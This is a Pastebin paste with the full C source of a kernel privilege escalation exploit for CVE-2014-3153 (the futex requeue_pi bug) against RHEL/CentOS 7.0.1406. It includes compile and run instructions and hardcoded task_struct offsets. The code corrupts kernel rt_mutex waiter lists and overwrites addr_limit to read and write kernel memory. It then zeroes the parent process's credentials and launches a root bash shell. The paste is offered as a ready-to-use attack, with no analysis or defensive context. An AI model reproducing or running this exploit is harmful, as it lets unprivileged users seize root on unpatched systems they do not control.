sn0wB

exploit for RHEL/CentOS 7.0.1406

Jan 24th, 2017
141
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 19.33 KB | None | 0 0
  1. /*
  2.  * CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
  3.  * By Kaiqu Chen ( kaiquchen@163.com )
  4.  * Based on libfutex and the expoilt for Android by GeoHot.
  5.  *
  6.  * Usage:
  7.  * $gcc exploit.c -o exploit -lpthread
  8.  * $./exploit
  9.  *
  10.  */
  11.  
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <unistd.h>
  15. #include <stdbool.h>
  16. #include <pthread.h>
  17. #include <fcntl.h>
  18. #include <signal.h>
  19. #include <string.h>
  20. #include <errno.h>
  21. #include <linux/futex.h>
  22. #include <sys/socket.h>
  23. #include <sys/mman.h>
  24. #include <sys/syscall.h>
  25. #include <sys/resource.h>
  26. #include <arpa/inet.h>
  27. #include <netinet/in.h>  
  28. #include <netinet/tcp.h>  
  29.  
  30. #define ARRAY_SIZE(a)   (sizeof (a) / sizeof (*(a)))
  31.  
  32. #define FUTEX_WAIT_REQUEUE_PI   11
  33. #define FUTEX_CMP_REQUEUE_PI    12
  34. #define USER_PRIO_BASE          120
  35. #define LOCAL_PORT              5551
  36.  
  37. #define SIGNAL_HACK_KERNEL      12
  38. #define SIGNAL_THREAD_EXIT      10
  39.  
  40. #define OFFSET_PID          0x4A4
  41. #define OFFSET_REAL_PARENT  0x4B8
  42. #define OFFSET_CRED         0x668
  43.  
  44. #define SIZEOF_CRED         160
  45. #define SIZEOF_TASK_STRUCT  2912
  46. #define OFFSET_ADDR_LIMIT   0x20
  47.  
  48. #define PRIO_LIST_OFFSET    8  
  49. #define NODE_LIST_OFFSET    (PRIO_LIST_OFFSET + sizeof(struct list_head))
  50. #define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
  51. #define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
  52. #define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
  53. #define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
  54. #define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
  55. #define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))
  56.  
  57. ////////////////////////////////////////////////////////////////////
  58. struct task_struct;
  59.  
  60. struct thread_info {
  61.   struct task_struct *task;
  62.   void *exec_domain;
  63.   int flags;
  64.   int status;
  65.   int cpu;
  66.   int preempt_count;
  67.   void *addr_limit;
  68. };
  69.  
  70. struct list_head {
  71.   struct list_head *next;
  72.   struct list_head *prev;
  73. };
  74.  
  75. struct plist_head {
  76.     struct list_head node_list;
  77. };
  78.  
  79. struct plist_node {
  80.   int                     prio;
  81.   struct list_head        prio_list;
  82.   struct list_head        node_list;
  83. };
  84.  
  85. struct rt_mutex {
  86.     unsigned long       wait_lock;
  87.     struct plist_head   wait_list;
  88.     struct task_struct  *owner;
  89. };
  90.  
  91. struct rt_mutex_waiter {
  92.   struct plist_node       list_entry;
  93.   struct plist_node       pi_list_entry;
  94.   struct task_struct      *task;
  95.   struct rt_mutex         *lock;
  96. };
  97.  
  98. struct mmsghdr {
  99.   struct msghdr msg_hdr;
  100.   unsigned int  msg_len;
  101. };
  102.  
  103. struct cred {
  104.     int usage;
  105.     int uid;        /* real UID of the task */
  106.     int gid;        /* real GID of the task */
  107.     int suid;       /* saved UID of the task */
  108.     int sgid;       /* saved GID of the task */
  109.     int euid;       /* effective UID of the task */
  110.     int egid;       /* effective GID of the task */
  111.     int fsuid;      /* UID for VFS ops */
  112.     int fsgid;      /* GID for VFS ops */
  113. };
  114.  
  115. ////////////////////////////////////////////////////////////////////
  116.  
  117. static int swag = 0;
  118. static int swag2 = 0;
  119. static int main_pid;
  120.  
  121. static pid_t waiter_thread_tid;
  122.  
  123. static pthread_mutex_t hacked_lock;
  124. static pthread_cond_t hacked;
  125.  
  126. static pthread_mutex_t done_lock;
  127. static pthread_cond_t done;
  128.  
  129. static pthread_mutex_t is_thread_desched_lock;
  130. static pthread_cond_t is_thread_desched;
  131.  
  132. static volatile int do_socket_tid_read = 0;
  133. static volatile int did_socket_tid_read = 0;
  134.  
  135. static volatile int do_dm_tid_read = 0;
  136. static volatile int did_dm_tid_read = 0;
  137.  
  138. static pid_t last_tid = 0;
  139.  
  140. static volatile int_sync_time_out = 0;
  141.  
  142. struct thread_info thinfo;
  143. char task_struct_buf[SIZEOF_TASK_STRUCT];
  144. struct cred cred_buf;
  145.  
  146. struct thread_info *hack_thread_stack = NULL;
  147.  
  148. pthread_t thread_client_to_setup_rt_waiter;
  149.  
  150. int listenfd;
  151. int sockfd;
  152. int clientfd;
  153.  
  154. ////////////////////////////////////////////////////////////////
  155. int gettid()
  156. {
  157.     return syscall(__NR_gettid);
  158. }
  159.  
  160. ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
  161.     int pipefd[2];
  162.     ssize_t len;
  163.  
  164.     pipe(pipefd);
  165.  
  166.     len = write(pipefd[1], kbuf, count);
  167.  
  168.     if (len != count) {
  169.         printf("Thread %d failed in reading @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  170.         while(1) { sleep(10); }
  171.     }
  172.  
  173.     read(pipefd[0], ubuf, count);
  174.  
  175.     close(pipefd[0]);
  176.     close(pipefd[1]);
  177.  
  178.     return len;
  179. }
  180.  
  181. ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
  182.     int pipefd[2];
  183.     ssize_t len;
  184.  
  185.     pipe(pipefd);
  186.  
  187.     write(pipefd[1], ubuf, count);
  188.     len = read(pipefd[0], kbuf, count);
  189.  
  190.     if (len != count) {
  191.         printf("Thread %d failed in writing @ %p : %d %d\n", gettid(), kbuf, (int)len, errno);
  192.         while(1) { sleep(10); }
  193.     }
  194.  
  195.     close(pipefd[0]);
  196.     close(pipefd[1]);
  197.  
  198.     return len;
  199. }
  200.  
  201. int pthread_cancel_immediately(pthread_t thid)
  202. {
  203.     pthread_kill(thid, SIGNAL_THREAD_EXIT);
  204.     pthread_join(thid, NULL);
  205.     return 0;
  206. }
  207.  
  208. void set_addr_limit(void *sp)
  209. {
  210.     long newlimit = -1;
  211.     write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
  212. }
  213.  
  214. void set_cred(struct cred *kcred)
  215. {
  216.     struct cred cred_buf;
  217.     int len;
  218.  
  219.     len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
  220.     cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
  221.     cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
  222.     len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
  223. }
  224.  
  225. struct rt_mutex_waiter *pwaiter11;
  226.  
  227. void set_parent_cred(void *sp, int parent_tid)
  228. {
  229.     int len;
  230.     int tid;
  231.     struct task_struct *pparent;
  232.     struct cred *pcred;
  233.      
  234.     set_addr_limit(sp);
  235.      
  236.     len = read_pipe(sp, &thinfo, sizeof(thinfo));
  237.     if(len != sizeof(thinfo)) {
  238.         printf("Read %p error %d\n", sp, len);
  239.     }
  240.      
  241.     void *ptask = thinfo.task;
  242.     len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
  243.     tid = *(int *)(task_struct_buf + OFFSET_PID);
  244.  
  245.     while(tid != 0 && tid != parent_tid) {
  246.         pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
  247.         len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
  248.         tid = *(int *)(task_struct_buf + OFFSET_PID);
  249.     }
  250.  
  251.     if(tid == parent_tid) {
  252.         pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
  253.         set_cred(pcred);
  254.     } else
  255.         printf("Pid %d not found\n", parent_tid);
  256.     return;
  257. }
  258.  
  259. static int read_voluntary_ctxt_switches(pid_t pid)
  260. {
  261.     char filename[256];
  262.     FILE *fp;
  263.     int vcscnt = -1;
  264.  
  265.     sprintf(filename, "/proc/self/task/%d/status", pid);
  266.     fp = fopen(filename, "rb");
  267.     if (fp) {
  268.         char filebuf[4096];
  269.         char *pdest;
  270.         fread(filebuf, 1, sizeof filebuf, fp);
  271.         pdest = strstr(filebuf, "voluntary_ctxt_switches");
  272.         vcscnt = atoi(pdest + 0x19);
  273.         fclose(fp);
  274.     }
  275.     return vcscnt;
  276. }
  277.  
  278. static void sync_timeout_task(int sig)
  279. {
  280.     int_sync_time_out = 1;
  281. }
  282.  
  283. static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
  284. {
  285.     while (*do_request == 0) { }
  286.     printf("Press RETURN after one second...");
  287.     *did_request = 1;
  288.     getchar();
  289.     return 0;
  290. }
  291.  
  292. static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
  293. {
  294.     struct sigaction act;
  295.     int vcscnt;
  296.     int_sync_time_out = 0;
  297.  
  298.     act.sa_handler = sync_timeout_task;
  299.     sigemptyset(&act.sa_mask);
  300.     act.sa_flags = 0;
  301.     act.sa_restorer = NULL;
  302.     sigaction(SIGALRM, &act, NULL);
  303.  
  304.     alarm(3);
  305.     while (*do_request == 0) {
  306.         if (int_sync_time_out)
  307.             return -1;
  308.     }
  309.      
  310.     alarm(0);
  311.     vcscnt = read_voluntary_ctxt_switches(pid);
  312.     *did_request = 1;
  313.     while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
  314.         usleep(10);
  315.     }
  316.  
  317.     return 0;
  318. }
  319.  
  320. static void sync_with_parent(int volatile *do_request, int volatile *did_request)
  321. {
  322.     *do_request = 1;
  323.     while (*did_request == 0) { }
  324. }
  325.  
  326. void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
  327. {
  328.     struct rt_mutex_waiter *pwaiter6, *pwaiter7;
  329.     struct rt_mutex_waiter waiter6, waiter7;
  330.     struct rt_mutex mutex;
  331.     if(!pmutex)
  332.         return;
  333.     read_pipe(pmutex, &mutex, sizeof(mutex));
  334.     pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
  335.     if(!pwaiter6)
  336.         return;
  337.     read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
  338.     pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
  339.     if(!pwaiter7)
  340.         return;
  341.     read_pipe(pwaiter7, &waiter7, sizeof(waiter7));
  342.      
  343.     waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
  344.     waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
  345.     mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
  346.     waiter7.list_entry.node_list.next =  waiter6.list_entry.node_list.prev;
  347.      
  348.     write_pipe(pmutex, &mutex, sizeof(mutex));
  349.     write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
  350.     write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
  351. }
  352.  
  353. static void void_handler(int signum)
  354. {
  355.     pthread_exit(0);
  356. }
  357.  
  358. static void kernel_hack_task(int signum)
  359. {
  360.     struct rt_mutex *prt_mutex, rt_mutex;
  361.     struct rt_mutex_waiter rt_waiter11;
  362.     int tid = syscall(__NR_gettid);
  363.     int pid = getpid();
  364.  
  365.     set_parent_cred(hack_thread_stack, main_pid);
  366.      
  367.     read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));
  368.      
  369.     prt_mutex = rt_waiter11.lock;
  370.     read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));
  371.      
  372.     void *ptask_struct = rt_mutex.owner;
  373.     ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
  374.     int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
  375.     int *ppid = (int *)(task_struct_buf + OFFSET_PID);
  376.     void **pstack = (void **)&task_struct_buf[8];
  377.     void *owner_sp = *pstack;
  378.     set_addr_limit(owner_sp);
  379.  
  380.     pthread_mutex_lock(&hacked_lock);
  381.     pthread_cond_signal(&hacked);
  382.     pthread_mutex_unlock(&hacked_lock);
  383. }
  384.  
  385. static void *call_futex_lock_pi_with_priority(void *arg)
  386. {
  387.     int prio;
  388.     struct sigaction act;
  389.     int ret;
  390.      
  391.     prio = (long)arg;
  392.     last_tid = syscall(__NR_gettid);
  393.      
  394.     pthread_mutex_lock(&is_thread_desched_lock);
  395.     pthread_cond_signal(&is_thread_desched);
  396.      
  397.     act.sa_handler = void_handler;
  398.     sigemptyset(&act.sa_mask);
  399.     act.sa_flags = 0;
  400.     act.sa_restorer = NULL;
  401.     sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
  402.      
  403.     act.sa_handler = kernel_hack_task;
  404.     sigemptyset(&act.sa_mask);
  405.     act.sa_flags = 0;
  406.     act.sa_restorer = NULL;
  407.     sigaction(SIGNAL_HACK_KERNEL, &act, NULL);
  408.      
  409.     setpriority(PRIO_PROCESS, 0, prio);
  410.      
  411.     pthread_mutex_unlock(&is_thread_desched_lock);
  412.      
  413.     sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);
  414.      
  415.     ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  416.      
  417.     return NULL;
  418. }
  419.  
  420. static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
  421. {
  422.     pthread_t th4;
  423.     pid_t pid;
  424.      
  425.     do_dm_tid_read = 0;
  426.     did_dm_tid_read = 0;
  427.      
  428.     pthread_mutex_lock(&is_thread_desched_lock);
  429.     pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
  430.     pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
  431.      
  432.     pid = last_tid;
  433.      
  434.     sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);
  435.      
  436.     pthread_mutex_unlock(&is_thread_desched_lock);
  437.      
  438.     return th4;
  439. }
  440.  
  441. static int server_for_setup_rt_waiter(void)
  442. {
  443.     int sockfd;
  444.     int yes = 1;
  445.     struct sockaddr_in addr = {0};
  446.      
  447.     sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  448.      
  449.     setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
  450.      
  451.     addr.sin_family = AF_INET;
  452.     addr.sin_port = htons(LOCAL_PORT);
  453.     addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  454.     bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
  455.      
  456.     listen(sockfd, 1);
  457.     listenfd = sockfd;
  458.      
  459.     return accept(sockfd, NULL, NULL);
  460. }
  461.  
  462. static int connect_server_socket(void)
  463. {
  464.     int sockfd;
  465.     struct sockaddr_in addr = {0};
  466.     int ret;
  467.     int sock_buf_size;
  468.      
  469.     sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  470.     if (sockfd < 0) {
  471.         printf("socket failed\n");
  472.         usleep(10);
  473.     } else {
  474.         addr.sin_family = AF_INET;
  475.         addr.sin_port = htons(LOCAL_PORT);
  476.         addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  477.     }
  478.      
  479.     while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
  480.         usleep(10);
  481.     }
  482.      
  483.     sock_buf_size = 1;
  484.     setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
  485.      
  486.     return sockfd;
  487. }
  488.  
  489. unsigned long iov_base0, iov_basex;
  490. size_t iov_len0, iov_lenx;
  491.  
  492. static void *client_to_setup_rt_waiter(void *waiter_plist)
  493. {
  494.     int sockfd;
  495.     struct mmsghdr msgvec[1];
  496.     struct iovec msg_iov[8];
  497.     unsigned long databuf[0x20];
  498.     int i;
  499.     int ret;
  500.     struct sigaction act;
  501.      
  502.     act.sa_handler = void_handler;
  503.     sigemptyset(&act.sa_mask);
  504.     act.sa_flags = 0;
  505.     act.sa_restorer = NULL;
  506.     sigaction(SIGNAL_THREAD_EXIT, &act, NULL);
  507.      
  508.     waiter_thread_tid = syscall(__NR_gettid);
  509.     setpriority(PRIO_PROCESS, 0, 12);
  510.      
  511.     sockfd = connect_server_socket();
  512.     clientfd = sockfd;
  513.      
  514.     for (i = 0; i < ARRAY_SIZE(databuf); i++) {
  515.     databuf[i] = (unsigned long)waiter_plist;
  516.     }
  517.      
  518.     for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
  519.     msg_iov[i].iov_base = waiter_plist;
  520.     msg_iov[i].iov_len = (long)waiter_plist;
  521.     }
  522.     msg_iov[1].iov_base = (void *)iov_base0;
  523.      
  524.     msgvec[0].msg_hdr.msg_name = databuf;
  525.     msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
  526.     msgvec[0].msg_hdr.msg_iov = msg_iov;
  527.     msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
  528.     msgvec[0].msg_hdr.msg_control = databuf;
  529.     msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
  530.     msgvec[0].msg_hdr.msg_flags = 0;
  531.     msgvec[0].msg_len = 0;
  532.      
  533.     syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);
  534.      
  535.     sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);
  536.      
  537.     ret = 0;
  538.      
  539.     while (1) {
  540.     ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
  541.     if (ret <= 0) {
  542.         break;
  543.     } else
  544.         printf("sendmmsg ret %d\n", ret);
  545.     }
  546.     return NULL;
  547. }
  548.  
  549. static void plist_set_next(struct list_head *node, struct list_head *head)
  550. {
  551.     node->next = head;
  552.     head->prev = node;
  553.     node->prev = head;
  554.     head->next = node;
  555. }
  556.  
  557. static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
  558. {
  559.     rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
  560.     rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
  561.     plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
  562.     plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
  563. }
  564.  
  565. static bool do_exploit(void *waiter_plist)
  566. {
  567.     void *magicval, *magicval2;
  568.     struct rt_mutex_waiter *rt_waiters;
  569.     pid_t pid;
  570.     pid_t pid6, pid7, pid12, pid11;
  571.      
  572.     rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);
  573.      
  574.     syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  575.      
  576.     while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
  577.         usleep(10);
  578.     }
  579.      
  580.     pthread_t th6 =  create_thread_do_futex_lock_pi_with_priority(6);
  581.     pthread_t th7 =  create_thread_do_futex_lock_pi_with_priority(7);
  582.      
  583.     swag2 = 0;
  584.     do_socket_tid_read = 0;
  585.     did_socket_tid_read = 0;
  586.      
  587.     syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);
  588.      
  589.     if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
  590.     return false;
  591.     }
  592.      
  593.     setup_waiter_params(rt_waiters);
  594.     magicval = rt_waiters[0].list_entry.prio_list.next;
  595.     printf("Checking whether exploitable..");
  596.     pthread_t th11 =  create_thread_do_futex_lock_pi_with_priority(11);
  597.      
  598.     if (rt_waiters[0].list_entry.prio_list.next == magicval) {
  599.         printf("failed\n");
  600.         return false;
  601.     }
  602.     printf("OK\nSeaching good magic...\n");
  603.     magicval = rt_waiters[0].list_entry.prio_list.next;
  604.      
  605.     pthread_cancel_immediately(th11);
  606.      
  607.     pthread_t th11_1, th11_2;
  608.     while(1) {
  609.         setup_waiter_params(rt_waiters);
  610.         th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
  611.         magicval = rt_waiters[0].list_entry.prio_list.next;
  612.         hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
  613.         rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;
  614.          
  615.         th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
  616.         magicval2 = rt_waiters[1].list_entry.node_list.prev;
  617.          
  618.         printf("magic1=%p magic2=%p\n", magicval, magicval2);
  619.         if(magicval < magicval2) {
  620.             printf("Good magic found\nHacking...\n");
  621.             break;
  622.         } else {
  623.             pthread_cancel_immediately(th11_1);
  624.             pthread_cancel_immediately(th11_2);
  625.         }      
  626.     }
  627.     pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
  628.     pthread_mutex_lock(&hacked_lock);
  629.     pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
  630.     pthread_cond_wait(&hacked, &hacked_lock);
  631.     pthread_mutex_unlock(&hacked_lock);
  632.     close(listenfd);
  633.      
  634.     struct rt_mutex_waiter waiter11;
  635.     struct rt_mutex *pmutex;
  636.     int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
  637.     if(len != sizeof(waiter11)) {
  638.         pmutex = NULL;
  639.     } else {
  640.         pmutex = waiter11.lock;
  641.     }
  642.     fix_rt_mutex_waiter_list(pmutex);
  643.      
  644.     pthread_cancel_immediately(th11_1);
  645.     pthread_cancel_immediately(th11_2);
  646.      
  647.     pthread_cancel_immediately(th7);
  648.     pthread_cancel_immediately(th6);
  649.     close(clientfd);
  650.     pthread_cancel_immediately(thread_client_to_setup_rt_waiter);
  651.      
  652.     exit(0);
  653. }
  654.  
  655. #define MMAP_ADDR_BASE  0x0c000000
  656. #define MMAP_LEN        0x0c001000
  657.  
  658. int main(int argc, char *argv[])
  659. {
  660.     unsigned long mapped_address;
  661.     void *waiter_plist;
  662.      
  663.     printf("CVE-2014-3153 exploit by Chen Kaiqu(kaiquchen@163.com)\n");
  664.    
  665.     main_pid = gettid();
  666.     if(fork() == 0) {
  667.         iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  668.         if (iov_base0 < 0xb0000000) {
  669.             printf("mmap failed?\n");
  670.             return 1;
  671.         }
  672.         iov_len0 = 0x10000;
  673.          
  674.         iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  675.         if (iov_basex < MMAP_ADDR_BASE) {
  676.             printf("mmap failed?\n");
  677.             return 1;
  678.         }
  679.         iov_lenx = MMAP_LEN;
  680.          
  681.         waiter_plist = (void *)iov_basex + 0x400;
  682.         pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
  683.          
  684.         sockfd = server_for_setup_rt_waiter();
  685.         if (sockfd < 0) {
  686.             printf("Server failed\n");
  687.             return 1;
  688.         }
  689.          
  690.         if (!do_exploit(waiter_plist)) {
  691.             return 1;
  692.         }
  693.         return 0;
  694.     }
  695.  
  696.     while(getuid())
  697.         usleep(100);
  698.     execl("/bin/bash", "bin/bash", NULL);
  699.     return 0;
  700. }
Add Comment
Please, Sign In to add comment